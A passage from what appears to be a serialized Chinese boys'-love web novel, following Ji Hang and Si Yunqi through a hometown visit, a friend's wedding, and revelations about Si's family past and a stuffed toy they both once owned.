“我爸妈常年在外地，小时候他们放不下我，带着我出去的。我五岁那年有了弟弟，他们工作忙，觉得带不了两个孩子，就把我送了回来。”徐不凡指着对面说，“当时给我找了个保姆，记不清了，是嫌我太淘还是怎么了，保姆干了没一个月就不干了。黄奶奶就是那时候带着司哥搬过来的。”
“再后来，这些年，我每顿饭都是在黄奶奶家吃的，就跟她亲孙子一样，她……她快走的时候，还单独和我说过话。可想而知我和司哥关系得多么好了吧。”
“嗯，”季杭说，“能想象到。”
其实徐不凡的话真假参半。
吃饭是真，受照顾是真，和司云起关系好是假。
小学初中到高中，他们一直是一个学校，天天在一起吃饭，按理说早该是无话不谈的铁哥们了。
司云起偏偏不是个“按理说”的人。
他几乎从没有主动和徐不凡说过话，十几年，每次见面时的目光犹如第一次见面的陌生人。
不只是徐不凡，班上的同学，楼上的邻居，也遭到了司云起同样的对待。
司云起这人唯一在意的，似乎也就只有黄奶奶。
在黄奶奶去世前，她曾经让司云起离开房间，叫了徐不凡到身边，颤抖着摸了摸他的头，勉强笑了下，而后感慨“一晃都这么多年了啊”。
徐不凡泣不成声，听到黄奶奶说：“小凡，云起的性子冷，是我的原因，要是我走了，你能不能别计较，多陪陪他。”
徐不凡哭着点头。
黄奶奶又说：“还有件事，我这辈子亲人不多，到最后，还得拜托你这个小辈……”
徐不凡抹了把泪，连连点头，说：“好，黄奶奶，好，我一定会做到的。”
那是他见黄奶奶的最后一面，正值旧年未尽，人们期盼着新年到来之际。他想尽责任多陪伴司云起，却没找到人。
司云起已经离开了。
初七开学时他去问老师，得知司云起已经休学的消息。他发了很多微信，打了很多电话，都没有得到回音。
元宵节后见了一次，还是他敏锐的注意到对面门有开过的痕迹，敲门后司云起来开，手里拿着根红色的木签。后来依旧是这样，他不知道司云起什么时候离开的，也不知道司云起什么时候回来过，因为司云起始终没有和他联系。
这个家里的东西，司云起也什么都没有带走。
徐不凡知道，司云起是个很能舍弃的人。
他没有任何舍不得的，这样的人，大概也不会喜欢有人跟在自己身边，因为他会觉得是负累。
徐不凡是真的太了解司云起了。
这些年里他在司云起这里碰过无数次壁，司云起待他和别人并无不同。
所以自他收到司云起发来的消息，让他接人时，他就觉得不对劲。
直到看见司云起反常的拿着包，带着个人，几乎是当下就能断定——
司云起喜欢这个人。
除了喜欢，他实在想不出别的理由解释这个情况。
“你们学校国庆放假几天啊，”徐不凡问。
“三天，不过我们请了四天假，”季杭说，“他这次可以多陪你玩几天。”
“好，哈哈，”徐不凡又试探着，“你们为什么不坐车回来呢？”
“我晕车，不好意思，让你跑了一趟。”
“没事儿，”徐不凡害了一声，故意说：“有什么不好意思的，我之前也常常接司哥呢。”
季杭笑着点了点头。
徐不凡更加确信了司云起喜欢这个人的事实。
可是……
他皱着眉想了几秒，觉得不行。
和女生谈恋爱都会是隐患，更何况是个男生。
徐不凡知道自己和司云起说什么都是白搭，可这些年黄奶奶的照顾铭记于心，他不能忘。
所以他朝季杭“嘿”了声，一副很自然的模样，说：“你也知道吧？司哥是艺考生。”
季杭一瞬间就懵了。
他反应了几秒，听到自己的声音：“艺考生？”
“对啊，”徐不凡说，“你竟然不知道啊。看来你俩还不是很熟哦，司哥是艺考生，要学表演，以后要进入娱乐圈当演员的，这是他的梦想，也是黄奶奶的遗愿。”
他刻意加重了梦想和遗愿两个词的语气，然后盯着季杭的表情。
依旧是很平静。
这个人应该不喜欢司云起，徐不凡想。
他不知道的是，他只需要轻飘飘说出几句话，加重某几个词的语气，就能让季杭在爱司云起的这条路上原地静止、再后退。
自此季杭只能越爱越多，越退越远。
他有多爱，就要退多远。
“我和司哥不在一个学校，以后就得麻烦你多盯着点了，”徐不凡说，“千万不能让他谈恋爱哦，搞不好还没进入娱乐圈就先黑料满身了。”
很久后，季杭说：“好。”
司云起回来的时候带了家老字号的糕点，他递给季杭，说：“顺路买的。”
徐不凡看见包装袋，扯起嘴角笑了下。
他知道房东家在哪，也知道这家老字号在哪。一家在城东，一家在城西。
顺路到哪去。
但他很识相的没说，留下一句“司哥，我先回我家”就走了。
家里什么都有，只是隔了大半年没有用，落了不少灰。
司云起先回房间，换了套干净的床单被罩，让季杭睡一觉。
季杭兴致不高，顺从地躺了上去，翻身朝向里侧。
已经和房东谈好了，房租交到十月底。在回学校之前，司云起会把这个家清空，临走前把钥匙还给房东。
照他的性格，这是一天就能解决的事情，用不着请假。
可他想带季杭回来，有些话他不会说，所以要找别的方式，把完整的自己袒露给季杭，让他知悉自己的一切。
他到厨房清洗了一遍锅具，去房间时看到季杭平躺在床上睁着眼。
原地看了这人几秒，司云起转
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身去拿包里的玩偶。
“抱着它睡，”司云起递到季杭手边。
季杭坐起身，笑了下，说：“我睡不着。”
不等司云起说话，季杭问：“要不你带我出去转转？我还挺想看看的。”
司云起很轻地皱了下眉。
他生活寡淡的很，没有常去的地方，一时之间没想好带季杭去哪里。
“随便走走，”季杭说。
他这样说了，接下来的五天时间里，他一直在和司云起随便走走。
路上真没什么好看的，但季杭总觉得徐不凡的话悬在他和司云起之间，随时都会变成一堵透明的墙挡在他们中间。
让季杭只能看到司云起，却不能走近他。
这个认知让季杭很慌，又有点不甘心。
他想多留下些和司云起相处的记忆，可每一天结束时他回想起来，发现自己从没有放松的和司云起相处过，他一直都是紧张的。这又让他不甘心。
他不甘心自己的喜欢就这样无疾而终，更不甘心自己提前知晓了无疾而终的结局。
他宁愿不知道，让这个结局突然来临，去承受猛烈的痛苦。起码过程能是美好的。
也不想要他和司云起相处的每一秒钟，都要时刻谨记着“不可能”三个字。
直到第五天晚上，季满谦打过来一个电话。
电话里季满谦问他们什么时候回去，季杭说了时间。
季满谦不放心，又问：“小司确定会回来吧？”
季杭听出来他的不对劲，问：“爸，你怎么突然这样说。”
季满谦说：“小司是个好孩子，我希望，他能在这个家一直住下去。”
……
电话挂断后，季杭拿起旁边的玩偶。
这个小狗玩偶陪了他十二年，全身是洗不掉的旧。白天司云起还刚把玩偶洗了一遍，晾干了放在季杭枕头边上。
现在司云起在他外婆的房间里收拾，季杭盯着玩偶，忽然笑了。
也是从这通电话里，季杭才知道，他住了十二年的家，在之前，也是司云起的家。
在季杭五岁时，季满谦带着他搬了家，看了几套房后，从一个老人手里买了房子。
从那时候，季杭跟着季满谦，离开了成馥，只跟着爸爸一起生活。
那是他最孤僻的时候。
他不知道该怎么表达自己的难过，在他年幼的视角里，季满谦和成馥都很痛苦。所以他缄口不言，性格越来越封闭。
刚搬进新家时，季满谦给他收拾了采光最好的房间，把一切规整好后，看到阳台上有个玩偶。
挺新的，应该是上个房主带的外孙的玩偶。
季满谦想丢掉时，始终不说话的季杭跑去突然抱住了玩偶。
见状，季满谦把玩偶洗了一遍，留在了他房间。
后来季杭开始抱着玩偶说话，他把玩偶当成了唯一的朋友。不管他说什么玩偶也不会烦，缝制的小狗玩偶永远都是笑着的模样，妥帖的收好他的一切情绪。
他不需要顾忌任何，不用管自己说了之后小狗玩偶会不会被自己影响情绪，也不用想哪句话该说哪句话不该说。只需要倾诉，然后看着小狗玩偶，慢慢开心起来。
他渐渐长大，已经适应了没有成馥的生活，也有了新的朋友。
曹书望第一次去他家时，看到玩偶时吐槽过，“季杭，你再幼稚点，床上还摆个玩偶啊。”
季杭制止他摆弄的动作，心道，它比你资历还老呢，是我的第一个朋友。
一晃十二年。
他倒是从来没有想过，这个玩偶是谁丢下的。
直到季满谦说，黄侯是司云起的小姨，来家访时才知道，原来他们住的这个家，就是黄侯姑姑带着司云起住过的家。
黄侯只记得她姑姑之前住的小区叫南水园，她在外上学的时间里，季满谦带着季杭住进来之后，小区名字改成了幸福里。
学成归来后黄侯只知道姑姑卖了房子搬走了，没有理由再去姑姑的旧居。
当班主任后，她知道季杭的小区名，却从未把幸福里和南水园联系在一起过。直到这次家访，看到季杭写的地址后再三确认，才确定是一家。
季满谦得知后也很震惊，没想到司云起这孩子兜兜转转竟然又住了回来。
季杭也才知道，他住了十二年的房间，之前是司云起的房间。
落在阳台的玩偶，也是司云起的。
他就抱着司云起的玩偶，度过了年幼时最孤僻的时光。
……
司云起已经站在床边看了季杭两分钟了，这人还在出神。
他挥手在季杭眼前晃了晃，说：“在想什么。”
季杭抬起眼皮，自下而上凝视了他很久，而后眼角弯了起来，说：“司云起。”
司云起应了声。
“没什么，”季杭眼底波光粼粼，语气明显比前几天每次说话都轻快了不少，“我就是突然觉得，没什么了。”
司云起不明所以，问：“你在说什么。”
季杭忽然跪在床上，却依旧矮了司云起一截，他也不在意，轻轻环住了司云起，说：“就是谢谢你，别的……真的没什么了。”
76.轻轻
群聊：
【徐不凡：我在尤哥这，一会司哥过来参加婚礼，带了个朋友，你们谁有空在门口接他们一下。】
“你们看群你们看群！”
“老二在群里说，司哥回来了！来参加尤哥的婚礼！还带个朋友！”
“啊？他回来了？”
“什么？他来参加婚礼？”
“真假？带了个朋友？他？带朋友？”
“假的吧。”
“老二发群里的，他怎么可能开司云起的玩笑。”
“第一句还可信点，你看看第二句第三句，哪句像是真的？”
“老二咋又不回消息了。”
“他忙呢呗，要不发群里让咱们接。”
“走走走。”
对话的四个人，偶尔会互相喊名字，更多时候互称“老三，老四，老五，老六”。
四个人站在门口，像是石墩子一样，比酒店的礼宾站得还直，眼巴巴等着。
“他回来我不好奇，我就好奇他怎么会参加婚礼。”
“谁懂啊，认识这么多年，他从来没主动和我说过话。”
“大家都一样。”
“但司哥人真的好，上初中的时候我被高年级的欺负要钱，还是他帮我打了一架。”
“这家伙虽然也没和我说过话，但确实是个好人。你们记得不，咱们初中后街那常年有个半瞎的老头，收学校的纸箱子卖钱。有次我看见有俩人偷了老头的钱，被他打了一顿。他把钱去还给老头时，还往里面夹了张一百的。哎，他家也没啥钱吧。”
“你们在说什么废话，他人要是差劲，还拽成那样不搭理人，咱四个能站这儿等着他？还给他留了个老大的位置？”
“不是你们不好奇吗，司云起带了个朋友！他！带了个朋友！这才是重点好吧！”
“对对对，被你们带的都跑偏了，我正想说这个，他绝对是谈恋爱了！”
“咱们要有嫂子了。”
“人家当你是兄弟吗你就认嫂子。”
“认识他这么多年，连他和谁肩并肩走路都没见过，有生之年竟然能看到他谈恋爱。”
“司云起谈恋爱，想象不出来。”
“等会你就见到了。”
“那女生是不是得很漂亮啊！”
“漂亮？不好说。不是有人说咱学校校花喜欢他吗，他也没反应啊。”
“他不会喜欢丑的吧？”
……
被他们四个传染的，礼宾也跟着翘首以盼，期待着他们口中那位拽但好的司哥过来，更想看看那位带来的女朋友。
过了五六分钟，有辆出租车停了过来。后排的两面窗户都是大开的，里面是两个男生。
这不是。礼宾想着去打开车门，却听到身后四道不齐但是同样惊讶的声音：“司哥？”
礼宾：啊？这是？
他还没走到车边，车门已经被司云起自己推开了。
但司云起没关车门，他对着礼宾点了下头，又看向四位朋友，声量压的有些低，说：“小点声。”
然后五个人十个眼睛齐刷刷地看着司云起绕到车另一边，打开车门，俯身，轻声说：“季杭，我们到了。”
礼宾：“……”
身后四个人：“……”
季杭睁开眼睛，先是看到近在咫尺的司云起，一转头又透过狭小的车窗看到好几个探头探脑的人。
当他下车时，那几个人眼睛没离开他一刻，嘴也没停一刻。
“女朋友呢？嗯？女朋友呢？”
“别管什么女朋友了，不是我就请问，刚才司云起那样的举动真是对人做出来的？”
“天杀的，司云起转性了？？？”
“他竟然还扶着？！司云起还扶着这个人？”
“这家伙什么来头？”
“不行，我脑子里关于司云起的世界正在遭受大战。为什么啊？司云起什么性格啊，他竟然这么照顾这家伙？这家伙该不会是包养司云起了吧？”
“是不是咱们眼花了，凑近点看看，这家伙会不会是短头发的女生？”
“这么白，浓眉大眼的，这家伙眼睛长得真好看，就是个子太高。”
季杭在他们的嘀咕中开口：“你们好，我叫季杭。”
好标准的音色，铁铮铮的男生。
有人都想质问司云起了，都是男生，这家伙是救过你命吗，凭什么这么区别对待！
“他晕车，”司云起把刚才他下车时没关的车门关紧了，说：“我开个房间，让他去休息。”
礼宾闻言立刻询问：“您朋友的婚礼堂在一楼，如果您想先去礼堂，我可以把您女朋友送到……”
话音戛然而止。
司云起本来一副要拒绝的模样，听到这话后愣住了。
季杭拧起眉心。
身后四个人小声蛐蛐。
礼宾提起一口气，依旧带着礼貌的微笑，心道自己就不该听他们说话，现在好了，当着来宾的面说错性别，来宾不会闹吧？自己不会被扣工资吧？
他笑着改口：“我可以把您男朋友、”
身后四个人蛐蛐声音更大了。
礼宾皮笑肉不笑，硬着头皮继续，“……送到房间。”
破班。
死嘴。
好像有点儿完了。
谁料下一秒，司云起“嗯”了声，说：“谢谢，不用了，我自己送。”
目送他们离开时，礼宾长呼一口气，却意外看到晕车的那位耳朵已经红透了。
“是这个厅，”他们边指边说，“你送你朋友到房间后就过来吧。”
“我不用休息，”季杭摇了摇头，“和你们一起过去吧。”
“现在时间还早，要不咱们去隔壁小厅里待会？”
“行。”
隔壁的小厅里有一堆海绵块。
老三问：“六儿，尤哥是不是把这个厅也包下来了？”
“是啊，我刚翻聊天记录，尤哥说现场用不着咱们这么多人，让咱们在小厅休息，该吃饭的时候过去就行。”
“诶，司哥，这次回来待几天啊。”
司云起：“七天。”
“行哈，但是我们明天就开学了，明晚吧，明晚请假出来请你吃饭。”
司云起：“今天晚上就走。”
？？？
季杭抿了下嘴唇：“今天、是第七天……”
“……”
还以为转性了，原来是自己想多了。
司云起不尴尬，从老三到老六这些年也已经尴尬够了，所以就只剩下季杭一个人尴尬。
季杭轻咳，对司云起小声说：“你介绍一下？”
老三耳尖听到，心想，司云起这家伙才懒得介绍他们互相认识。
结果被狠狠打脸。
司云起很有耐心，对季杭说：“他们的名字难记，你就记外号吧。这是老三，那是老四，”他指向旁边两个人，“老五，老六。”
“哦，”季杭默默记住他们的特征，问：“怎么是从三开始的？”
老三说：“老二是徐不凡。”
季杭点点头，“老大呢？”
说完后，他发觉每个人的表情都不是很正常，欲言又止的样子，目光好像很幽怨，都看着自己这边。
季杭心一凉，立刻意识到自己问错话了，他下意识看了眼司云起，然后带着很浓的歉意，对着老三老四老五老六说：“抱歉，我不知道……节哀。”
空气足足凝滞了半分钟。
面前这几个人的表情更是精彩，咬着上下嘴唇，嘴巴闭成平直的线，强忍着不说话，也不笑。
季杭：？
他求助地看向司云起，却见这人一言难尽的模样。
到底怎么了？
终于，老六忍不住了，脸都憋红了，说：“那个、就是、老大可以理解为没人，但这个称呼是给……”
“给我留的，”司云起言简意赅。
季杭：“……”
他立刻默默在心里呸呸呸了三次。
嫌不够。
三次又三次。
就导致他和司云起说话时，本来要说“我理解错了，刚才乱说的”，脱口就成了：“呸。”
司云起沉默了。
老六和老五蛐蛐：“他呸司哥。”
老五和老四蛐蛐：“也就他敢呸司哥。”
老四和老三蛐蛐：“他呸司哥的意思是，觉得司哥不配老大的位置？”
老三：“你先别说话，我怎么看到他们两个周围在冒粉色泡泡？”
老四&老五&老六：“我们仨众筹给你眉毛下面八百度的俩蛋配副眼镜。”
“司云起，我……”季杭试图解释。
司云起很认真地向季杭解释他老大的称呼：“他们的话你可能没听懂，这称呼是小时候，按个子排的，他们非要那么叫。”
“对，我们都排好了，”老三幽幽，“司哥理也不理我们。”
老四：“但我们多重情义，老大的称呼竟然给他留到高三了。”
“得了吧，”老五说，“你长个儿的时候没少暗示想成老大。”
老四：“闭嘴。”
“好的好的，”季杭不敢再乱说话了，斟酌几秒，想出一句挑不出毛病的话：
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“你们感情真好，真羡慕你们。”
话音一落，好嘛。
司云起声音响在耳边，“你羡慕他们？”
季杭：“……？”
四个人笑得佛系又鬼畜：“呵呵呵呵。”
季杭默默抿紧嘴唇。
我是哑巴我不说话。
老六站出来缓解气氛，“在这闲着也是闲着，要不咱们玩手机吧。”
老三白了他一眼，指着海绵块说：“要不玩游戏？”
“什么游戏？”
“木头人，两人一组，互相逗对方笑，谁憋不住笑了，看到没，那些海绵块不是有台阶挡着吗，谁憋不住笑就站台阶上，后面去个人把他踹进海绵里。”
“行！行吗……司哥？”
司云起没回答，看见季杭点了点头后，说：“好。”
猜拳分的组，老四和老五，老六和司云起，老三和季杭。
一组一组来，老四和老五率先打头阵，还得是他们熟，逗对方笑使出了浑身解数，每一个动作和话都在点上，即便季杭从没参与过他们的生活，也被频频逗笑。
这一组用时很久，先是老四逗老五，老五很能忍，就是不笑。之后干脆对调，老五逗老四。
老三都快看腻了，绕着这个不算大的厅转。
转到门口，看到有个花瓶。还挺精美的，老三刚拿起来，正巧赶上服务员推开门，要从这个小厅里搬两个椅子出去。见他的举动，服务员温声提醒道：“你好，贵重物品，轻拿轻放哦。”
“好的好的，”老三连忙小心地放下。
正在比的那一对也终于决出来胜负，老四输了。他站到台阶上，转头说：“就一句话，踹我的时候轻——”
“点”字被埋进了海绵里。
身后老五一脚踹到他屁股上，他不只是栽进海绵里，他纯粹是飞出去的。
下一组司云起和老六。
老六个不争气的，刚和司云起面对面，噗嗤一声就笑了。
他被押上台阶时，还在说：“不行，长这么大我还没和司哥这样面对面过，我真憋不住啊。”
老三问司云起：“司云起，你踹不踹？”
司云起：“不，你踹吧。”
季杭悄悄问司云起：“老三有什么笑点吗？”
司云起诚实道：“不知道。”
“好吧，”季杭说，“没事，不用担心我，我笑点阈值很高，况且我和他们都不熟，他们肯定逗不笑我。”
于是他板着脸和刚踹完人的老三面对面，听到老三说：“我先逗你？”
“好。”季杭继续板着脸。
老三心道，这把难。
但这人是司哥的朋友，还不熟，他也不好上手，只能边思考边说：“你知道吗，司哥他小时候……”
脑子你快想啊，司哥他小时候怎么了！
结果他压根都不用为难自己的脑子，因为季杭刚听到“司哥他小时候”六个字，板着脸就、
就笑了。
老三：“？”
他是不是看不起我？
季杭：“……”
为、什、么、这、样、就、笑、了！
鉴于输的人是季杭，谁也不敢踹他，一致退到一边让司云起来。
季杭看了前两个人被踹，有点难为情地和司云起商量：“能别踹屁股吗？”
也不知道是不是自己心里有鬼，被司云起踹屁股有点……怪怪的。
司云起：“嗯。”
季杭便站上台阶，等着被踹。
预想中的力度没来，季杭只觉得双腿被什么碰到，紧接着他整个人悬空，后颈被有力地托起。
他反应了片刻，才意识到自己被司云起拦腰抱了起来。
紧随着，司云起鞋尖抵着台阶，弯下腰，动作很轻地把季杭交到海绵的怀抱里。
身下骤然一片柔软，司云起的手也从自己身后撤开，却没收回去，而是朝自己伸出手。
季杭扶着他的手坐起身，心却陷进了海绵里。
如同海绵上一个又一个的小孔一般，将每时每刻的司云起容纳其中。
于是他的心成了一块吸满水后膨胀的海绵，回弹很慢，也再不会恢复原状。
后面四个人已经看呆了，以为是踹人，结果是抱人。
饶是他们再迟钝，因为见过原本的司云起，所以他们此刻就能断定——
司云起真的喜欢这个叫季杭的人。
老三皱了皱眉，突然想起来一句话，他碰了碰旁边的两个人，说：“这是不是……”
“什么？”
“贵重物品，轻拿轻放。”
77.姻缘签
婚礼结束后，人们起身离席。
人声嘈杂，季杭悄悄凑近老三，拍了他一下。
老三吓一跳，转头看到是季杭，下意识就找司哥的影子，却见司云起本人还坐在原位，就季杭一个人挤进人堆里来了。
“怎么了？”老三问。
周围的人都在说话，季杭不得不提高些音量，问：“你当时没说完的话，是什么？”
老三想不起来他在问什么，“啊”了一声。
季杭提醒道：“玩游戏的时候，你逗我笑，说司云起小时候，他小时候怎么了？”
老三注视着季杭，心里默默想，司哥肯定是喜欢他，本来还不确定他喜不喜欢司哥的，但看这样的反应，应该是喜欢。
一时间老三又有点发愁，以他当时接收信息的程度和观念来讲，他觉得两个男生在一起应该会被很多人说道。
见他愣着不说话，季杭又拍了他一下，边随着人群走边问：“我都已经输了，你就告诉我吧。”
天证明，这些年司云起连话都很少和他说，况且当时之所以提到司云起，纯属因为他和季杭不认识，司云起是他们之间唯一的链接罢了。
随口胡说的话怎么可能会有后续啊！
老三说不出来，但也比较要面子，试图回避：“就是小时候的糗事而已，你那么想拿去笑话司哥吗？”
季杭摇了摇头，语气很认真：“不是要笑话他。”
老三不理解了，“那你干嘛一直问？”
“你说是发生在小时候，我想了想，小时候的烦恼比较简单，可能是想要一个东西，想办法去得到但没得逞发生的糗事，也可能在小时候每一阵玩具浪潮掀起时，他因为没有、不懂而发生的糗事，”季杭的语气稀疏平常，继续说：“不论是什么，我想补给他，我想让他得偿所愿。”
老三彻底愣住了，他无意识地跟着人群走，直到走到厅外，人们三面散去，他吞咽了口空气，看向季杭，说：“其实我不知道司哥小时候有什么糗事，当时是瞎说的，幸好你笑得快，让我不用硬编。”
不出他所料，季杭没有一丝失望的表情，反倒是轻松地笑了。
“那就好，”季杭说。
老三有点好奇他们两个进展到哪一步了，便问：“司哥他抱你……”
季杭倒是生怕他们误会司云起，连忙解释：“来的路上我有点晕车，头晕想吐，他怕踹我再让我吐海绵里，所以才那样的，你们可别多想。”
老三被他这个解释逗笑了，要是换个人做这个举动，也许他们真的不会多想。但司云起不一样，十二年的相处，他们太了解司云起的性格了。他反过去拍了拍季杭的肩，笑着说：“我们没多想。倒是你，多想一点吧。“他们在等我，我先过去了。”
季杭点头，说：“好。”
他本意就想问老三这个问题的，没想到问出来的时候他也顺着人群走出来了。司云起应该还在厅里，这家伙才不会在人多的时候出来，起码得走到走路顺畅了。
可他身还没转过去，肩上就搭上来手臂。
司云起揽着他的肩膀，目光看着前面，半推着他继续往前走，说：“不等我？”
季杭莫名心虚，但梗着脖子，大言不惭道：“嗯，着急追人呢。”
肩膀上承受的力道瞬间就重了。
司云起个子很高，在人群里拔尖，刚才跟在季杭身后不远处的时候自然能看到这人和老三凑在一起说着什么。
现在季杭这样说，他瞬间不爽，嗓音更是凉：“追人？你追老、”
话还没说完，季杭忽然偏脸，眼睛里全都是司云起，他说：“对啊，追人，追小时候的你。”
司云起神情有一刹的错愕。
稍纵即逝，却还是被满眼都是他的季杭捕捉到了。
为了不让司云起反感，季杭笑得毫无破绽，“我问老三他到底是想说你小时候的什么时候，好用来笑话你啊。”
司云起看了他几秒，转而看向前面，语气很是霸道：“不用听他们说，以后你什么都会见到。”
季杭抿了下嘴唇，依旧带着笑意，说：“也是。”
徐不凡他们都等在酒店门口，司云起让季杭先过去找他们，自己去了前台。
“司哥做什么呢，”徐不凡问。
季杭：“不知道。”
徐不凡想，现在也许是他们离开之前，唯一能和季杭单独说话的时间了。
再之后……
房子已经退租了，这里再没有司云起牵挂的人，搞不好这辈子他们都不会再见了。
但黄奶奶多年照顾的恩情不能忘，徐不凡咬了咬牙，当着老三他们的面，说：“司哥什么时候艺考集训啊？”
老三瞪大眼睛，“什么集训？”
“艺考啊，”徐不凡说，“司哥的梦想是成为演员，这也是黄奶奶的遗愿。”
他再次刻意加重了“梦想”和“遗愿”两个词，依旧没能从季杭脸上看出逃避和不自然的表情。
错愕的反倒成了别人。
老三抓着徐不凡问：“演员？”
老四也搭腔：“我去，真的啊？”
老五还有点不可执行，问：“这是在说谁？司哥？和我认识的司云起是一个人不？”
老六稍微淡定了点，说：“没听他说过啊。”
徐不凡笑着说：“以后司哥一定会成为大明星的，不是说人越红黑料越多嘛，你们几个可记住了啊，要是真有人找到你们要黑司哥，怎么做你们都知道吧。”
老三锤了他一拳，“要你提醒，那肯定的，我们就是惊讶。”
“还有，”徐不凡看向季杭，表情依旧是笑着的，“我们不和司哥在一所学校了，就得麻烦你监督，真不能谈恋爱哦，不然以后被扒出来未成年就谈恋爱，多大的黑料。”
听了徐不凡的话，老三他们这才意识到，司哥和季杭，好像更难在一起了。
对这个认知更清晰的是老三，因为他比别人多和季杭多了几句话，也从这几句话中明白——
季杭和司云起是互相喜欢的，只是当局者迷，喜欢一个人时会变得胆大又胆小。
他看着季杭，试图从他的表情中看出一些不甘心，或者是别的什么。
但这个人总是不按套路出牌，季杭的笑很纯粹，目光一直落在酒店大厅里站在前台的人身上。
季杭顿了很久，他看着司云起在低头写什么东西，当司云起写完后把纸交给前台转身往这边走时，他语气轻快又笃定，对徐不凡说：“我知道的。”
等司云起走进旋转门时，季杭依旧笑着，又重复了遍：“放心吧，我知道的。”
徐不凡不再看他，转身走到路边。
司云起出来后，见他们的表情有点奇怪，问：“发生什么事了。”
老三说：“没事，就是刚知道，原来司哥你要艺考。”
司云起闻言，目光先看向季杭。
这人却很自然地走到自己身边，蹭了下自己的肩膀，说：“挺好的。”
紧随着季杭说：“咱们是不是该走了？”
他们回家拿上行李要赶高铁。离开的路上，司云起把从前台盘里找的酸梅递给季杭，说：“含上。”
“好。”季杭接过，上了出租车。
他们之间有几分钟的沉默，车行驶很快，某一刻，司云起伴随着呼啸的风声开口：“我是要艺考。”
季杭看向司云起，兴许是过了很久，又也许只是一秒，他说：“嗯，又不会影响什么，你不用和我解释。”
看着季杭如常的表情，这人太自然了，像是在听不相干的事情，司云起也形容不上来他的感受。
唯一能确定的是，他不会放手，季杭要一直在他身边。
车已经开走很远了，老三看着还站在路边的徐不凡，走过去问：“你愣着干嘛呢。”
徐不凡做了很久的思想斗争，每次觉得自己干的不是人事时，又会想起黄奶奶弥留之际的话。
“我在祈求菩萨。”徐不凡说。
老三了解他，“怎么，你也觉得宁拆十座庙不悔一桩婚啊。”
“不是，”徐不凡说，“我求菩萨保佑，司哥他能幸福。不管这路怎么走，还是希望他能幸福。”
此刻除了他，还有一个人，也内心雀跃地祝愿司云起。
这个人就是礼宾。
婚礼散场，人们都走完了，过了十几分钟，他收到一封邮件。
是封表彰邮件，被表彰的人正是他。
邮件里说，他的工作受到了客人的高度肯定和表扬。
然后他看到了司云起留下的表彰信。
很简单，也没有署名，只有一句话——
【致礼宾：情商很高，很会说话，谢谢。】
礼宾：“？？？”
我情商高？我会说话？谢我干什么？
我今天刚因为说出错担心被投诉啊！
要不是前台再三肯定说来宾交代了是感谢信，他都要怀疑是不是反讽了。
三个小时后，季杭和司云起已经到了高铁站。
家里该卖的也已经卖完了，只剩一些黄奶奶的小东西放进了书包里，别的司云起什么都没有带走。
老三说：“司哥，你以后回来的时候和我们说一声呗，咱们聚聚。”
“对啊，”老四说，“好歹也是装满你回忆的地方。”
司云起：“我不靠回忆活着。”
“……”
“路上时间挺长的，我去给你们买点零食，”徐不凡心一直提着，总是担心会有差错，问季杭，“你跟我一起去？挑点你爱吃的零食。”
季杭说：“好。”
包留给司云起拿着，季杭坐上徐不凡的三轮车，走了几分钟到了一家店。
但是他们谁都没有心思挑零食。
季杭知道徐不凡的意思，他是想叮嘱自己看着司云起，不能让司云起谈恋爱。却不料，徐不凡说：“季杭，光和你说了司哥要艺考要做演员，也没和你说为什么。”
“也是黄奶奶离世前我才知道的，司哥他妈妈，是很有名的歌手许凡君，唱过很多歌，经常参加综艺。” 徐不凡看着季杭，“但司哥是许凡君年轻不懂事的时候生的，她的公司不允许她未婚带个孩子，她就把孩子送到了她母亲那里，让她母亲带着孩子生活，不要再和她来往。”
这些季杭也能猜到，但他一直没
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问，既然是因为这样才分开的，为什么司云起还是想当演员，为什么这还会成为黄奶奶的遗愿。
“黄奶奶当时说话都很费力了，她说她怨恨女儿，却又爱着女儿，生怕带着孩子被邻居街坊猜出来，对她女儿影响不好，就只能卖了房子，带着司哥来到这里。”
“黄奶奶说司哥的性格也是因为她，她一直都怕，尤其是看着她女儿许凡君越来越火，更担心自己或者司哥会给许凡君带去威胁，所以小时候不允许司哥和任何人说话，上学放学她都跟着，她更关注司哥的朋友，怕小孩子不懂事问起司哥的爸爸妈妈，让司哥对父母产生好奇。所以要是司哥和哪个大人说话了，他就会挨打，要是和哪个小孩关系好了点，她就生怕那小孩会问司云起怎么没有爸爸妈妈……”
“越长大司哥性格越冷，黄奶奶才发觉她错了，但也已经晚了。”
徐不凡声音里带了些哭腔。
“最后黄奶奶把我叫到她房间里，说完这些事情后，又说千万让我督促司哥艺考，一定要让他走这条路，我真的很不理解。可是黄奶奶说，司哥在这个世界上没有亲人了，他凭空冒出来去认妈也不可能，思来想去，只能让司哥也进去娱乐圈，去做演员，去争取和许凡君去一个综艺。她这辈子唯一的心愿，就是希望司哥能和许凡君站在一起，而她可以不用提心吊胆。”
“季杭，我知道你肯定也不理解，因为我自己也觉得……但是个中缘由，我们不是当事人，没资格去高高在上指责黄奶奶的决定。她爱她女儿，也爱司哥。许凡君这么多年没见过他们的面，可以见得根本不打算认司哥，也不会和他见面。也许黄奶奶不是想让他们相认，只是希望能看到他们站在一起，这就是她这十七年的心愿。她说她很遗憾，不能亲眼看到这一天的到来。”
“她也和司哥说了，她知道她的遗愿司哥一定会遵守，但司哥骤然知道这件事，心理难免会对许凡君有怨气，所以拜托我，一定要看着司哥去艺考，做演员，光明正大地和许凡君相见。”
“司哥有怨气是真的，但谁能说他就不想和许凡君相见呢。肯定也是想的吧。所以他不要做出让自己后悔的事情。”
“就是这些，”徐不凡说，“这些事情我都解释清楚了，其他的，就交给你了。”
季杭忽地想起演唱会那天，他看到的司云起。
还有演唱会结束时，在人群中逆流跑回去的司云起。
他的心莫名刺痛，缓了几秒后，他很轻地点了下头，说：“好。”
另一边。
司云起等着季杭回来，转身时被路过的人撞了一下，书包歪了，掉出来个东西，落在地面声音清脆。
他没听到，过了会儿，老三走过来时看到了。
“这是什么，”老三捡起来，前后打量了一番。
老六凑过去，“红色的木签，这是哪来的？”
听到这话后，司云起才回过头，见到老三手里的红木签，又摸了下自己的书包。
“上面写的啥啊？”老四站的有点远，问。
老三：“姻缘签。”
“？？？”
“这谁的？”
“哈哈哈哈哈哈这年头了不会还有这种事吧，捡了个姻缘签，不会有姻缘找上门吧。”
“这也太幼稚了。”
在他们讨论的声音中，司云起走过去，拿走了老三手里的木签，握在自己手心。
四人噤声，司云起淡定道：“我的。”
“？？？”
默了默，司云起补充：“季杭给我的，幼稚么？”
“不不不……”
红色木签的来由要从年初说起。
新年刚过，他回到外婆的家乡。只凭着他四五岁的记忆，依稀能记得大概方位，但早就记不清当年具体的楼房了。
不过也无所谓，他只是来转转，他知道那个房子早就成了别人的家。
